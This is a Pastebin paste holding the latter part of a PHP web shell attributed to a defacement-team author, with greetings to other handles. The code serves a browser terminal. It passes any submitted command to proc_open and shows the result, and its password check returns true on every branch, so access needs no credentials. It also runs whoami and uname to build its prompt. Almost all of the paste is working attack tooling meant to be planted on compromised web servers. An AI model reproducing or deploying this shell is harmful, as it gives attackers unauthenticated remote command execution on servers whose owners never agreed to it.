  996. <font color="#FFFFFF">
  997. -------------------------------------------------------------------------------------</font></p>
  998. <p><font face="Comic Sans MS" color="#42CFF9">gEt Commands to Server - Pypass</font></p>
  999.  
  1000. <table cellpadding="0" cellspacing="0">
  1001. <tr><td class="head" style="color: #000000;"><font color="#FFFFFF"><b>X</b></font></td>
  1002. <td class="head"><font color="#FFFFFF"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1003. </font>
  1004. </td></tr>
  1005. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1006. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1007. <?php
  1008. $lines = substr_count($_SESSION['output'], "\n");
  1009. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1010. echo rtrim($padding . $_SESSION['output']);
  1011. ?>
  1012. </textarea>
  1013. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1014. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1015. </p>
  1016.  
  1017. <? /*<p>
  1018. <input type="submit" value="Execute Command" />
  1019. <input type="submit" name="reset" value="Reset" />
  1020. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1021. </p>
  1022.  
  1023. */
  1024. ?>
  1025. </form></td></tr>
  1026. </body>
  1027. </html>
  1028. <?php ?>
  1029. <?php
  1030.  
  1031. $aliases = array('la' => 'ls -la',
  1032. 'll' => 'ls -lvhF',
  1033. 'dir' => 'ls' );
  1034. $passwd = array('' => '');
  1035. error_reporting(1);
  1036. class phpTerm {
  1037.  
  1038. function formatPrompt() {
  1039. $user=shell_exec("whoami");
  1040. $host=explode(".", shell_exec("uname -n"));
  1041. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  1042. }
  1043.  
  1044. function checkPassword($passwd) {
  1045. if(!isset($_SERVER['PHP_AUTH_USER'])||
  1046. !isset($_SERVER['PHP_AUTH_PW']) ||
  1047. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  1048. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  1049. @session_start();
  1050. return true;
  1051. }
  1052. else {
  1053. @session_start();
  1054. return true;
  1055. }
  1056. }
  1057.  
  1058. function initVars()
  1059. {
  1060. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  1061. {
  1062. $_SESSION['cwd'] = getcwd();
  1063. $_SESSION['history'] = array();
  1064. $_SESSION['output'] = '';
  1065. $_REQUEST['command'] ='';
  1066. }
  1067. }
  1068.  
  1069. function buildCommandHistory()
  1070. {
  1071. if(!empty($_REQUEST['command']))
  1072. {
  1073. if(get_magic_quotes_gpc())
  1074. {
  1075. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  1076. }
  1077.  
  1078. // drop old commands from list if exists
  1079. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  1080. {
  1081. unset($_SESSION['history'][$i]);
  1082. }
  1083. array_unshift($_SESSION['history'], $_REQUEST['command']);
  1084.  
  1085. // append commmand */
  1086. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  1087. }
  1088. }
  1089.  
  1090. function buildJavaHistory()
  1091. {
  1092. // build command history for use in the JavaScript
  1093. if (empty($_SESSION['history']))
  1094. {
  1095. $_SESSION['js_command_hist'] = '""';
  1096. }
  1097. else
  1098. {
  1099. $escaped = array_map('addslashes', $_SESSION['history']);
  1100. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  1101. }
  1102. }
  1103.  
  1104. function outputHandle($aliases)
  1105. {
  1106. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  1107. {
  1108. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  1109. }
  1110. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  1111. {
  1112. // The current command is 'cd', which we have to handle as an internal shell command.
  1113. // absolute/relative path ?"
  1114. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  1115.  
  1116. // cosmetics
  1117. while (strpos($new_dir, '/./') !== false)
  1118. $new_dir = str_replace('/./', '/', $new_dir);
  1119. while (strpos($new_dir, '//') !== false)
  1120. $new_dir = str_replace('//', '/', $new_dir);
  1121. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  1122. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  1123.  
  1124. if(empty($new_dir)): $new_dir = "/"; endif;
  1125.  
  1126. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  1127. }
  1128. else
  1129. {
  1130. /* The command is not a 'cd' command, so we execute it after
  1131. * changing the directory and save the output. */
  1132. chdir($_SESSION['cwd']);
  1133.  
  1134. /* Alias expansion. */
  1135. $length = strcspn($_REQUEST['command'], " \t");
  1136. $token = substr(@$_REQUEST['command'], 0, $length);
  1137. if (isset($aliases[$token]))
  1138. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  1139.  
  1140. $p = proc_open(@$_REQUEST['command'],
  1141. array(1 => array('pipe', 'w'),
  1142. 2 => array('pipe', 'w')),
  1143. $io);
  1144.  
  1145. /* Read output sent to stdout. */
  1146. while (!feof($io[1])) {
  1147. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  1148. }
  1149. /* Read output sent to stderr. */
  1150. while (!feof($io[2])) {
  1151. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  1152. }
  1153.  
  1154. fclose($io[1]);
  1155. fclose($io[2]);
  1156. proc_close($p);
  1157. }
  1158. }
  1159. } // end phpTerm
  1160.  
  1161. /*##########################################################
  1162. ## The main thing starts here
  1163. ## All output ist XHTML
  1164. ##########################################################*/
  1165.  
  1166. $terminal=new phpTerm;
  1167.  
  1168. @session_start();
  1169.  
  1170. $terminal->initVars();
  1171. $terminal->buildCommandHistory();
  1172. $terminal->buildJavaHistory();
  1173. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  1174. $terminal->outputHandle($aliases);
  1175.  
  1176. header('Content-Type: text/html; charset=UTF-8');
  1177. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  1178. /*##########################################################
  1179. ## safe mode increase
  1180. ## bloque fonction
  1181. ##########################################################*/
  1182. ?>
  1183.  
  1184. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1185. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1186. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1187. <head>
  1188. <title>\-( CMD Command )-/</title>
  1189.  
  1190. <script type="text/javascript" language="JavaScript">
  1191. var current_line = 0;
  1192. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  1193. var last = 0;
  1194.  
  1195. function key(e) {
  1196. if (!e) var e = window.event;
  1197.  
  1198. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  1199. command_hist[current_line] = document.shell.command.value;
  1200. current_line++;
  1201. document.shell.command.value = command_hist[current_line];
  1202. }
  1203.  
  1204. if (e.keyCode == 40 && current_line > 0) {
  1205. command_hist[current_line] = document.shell.command.value;
  1206. current_line--;
  1207. document.shell.command.value = command_hist[current_line];
  1208. }
  1209.  
  1210. }
  1211.  
  1212. function init() {
  1213. document.shell.setAttribute("autocomplete", "off");
  1214. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  1215. document.shell.command.focus();
  1216. }
  1217.  
  1218. </script>
  1219. <style type="text/css">
  1220. body {font-family: sans-serif; color: black; background: white;}
  1221. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  1222. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  1223. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  1224. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  1225. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  1226. </style>
  1227. </head>
  1228.  
  1229. <body onload="init()" style="background-color:#000000">
  1230.  
  1231. <h2>POwER CoMMaNdE</h2>
  1232.  
  1233. <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  1234.  
  1235. </div>
  1236. <div align="center">
  1237.  
  1238. <table cellpadding="0" cellspacing="0">
  1239. <tr><td class="head" style="color: #000000;"><b>PWD :</b></td>
  1240. <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1241. </td></tr>
  1242. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1243. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1244. <?php
  1245. $lines = substr_count($_SESSION['output'], "\n");
  1246. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1247. echo rtrim($padding . $_SESSION['output']);
  1248. ?>
  1249. </textarea>
  1250. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1251. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1252. </p>
  1253.  
  1254. <? /*<p>
  1255. <input type="submit" value="Execute Command" />
  1256. <input type="submit" name="reset" value="Reset" />
  1257. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1258. </p>
  1259. */?>
  1260. </form></td></tr>
  1261. </div>
  1262. </table>
  1263.  
  1264. </div>
  1265. </body>
  1266. </html>
  1267. <?php ?><html><head><title>#Commanders - Private By Mr.H4rD3n - IsLamiC Warrior Team</title></head><body bgcolor="BLACK" background="http://localhost/a/matrix-animated-image.gif" style="background-color:#000000"></body></html></html><?php
  1268.  
  1269. }
  1270. //------------------------------------------------------------------------------------------------
  1271. ?>
  1272.  
  1273. <?php
  1274. }
  1275. // End Shell
  1276. //-------------------------------------------------------------------------------------------------
  1277. ?>
  1278. <br /><br /><br /><font color="#23B627"><br />
  1279.  
  1280. </font>
  1281.  
  1282. <div class="end">
  1283. <p align="center"><font color="#FFFFFF"><b>––•(-• © Copyright Mr.H4rD3n [All rights reserved] •-)•––</b><br />
  1284. </font><font face="Verdana"><font color="#23B627">
  1285. <a href="mailto:exploit-id@hotmail.com"><span style="text-decoration: none">
  1286. <font color="#000000">My Email</font></span></a></font> | <font color="#23B627">
  1287. <a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none">
  1288. <font color="#000000">Facebook</font></span></a></a></font><a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none"><font color="#000000">
  1289. </font></span></a>:) </font>
  1290. <font color="#FFFFFF"> <br />
  1291. \m/ <b>Greetz to</b> : Dr-AngeL - X-Line - Ghost.0f.Morocco - xMjahd - 4chrf -
  1292. KhantastiC - X internet - And yOu ! \m/<br />
  1293. &quot;&quot; WE ARE MUSLIMS, WE CAN NOT HARM ANY SITE I HOPE TO USE THIS TOOL ONLY WHAT
  1294. PLEASE GOD "" </font>
  1295. </p>
  1296. </div>
  1297. </body>
  1298. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!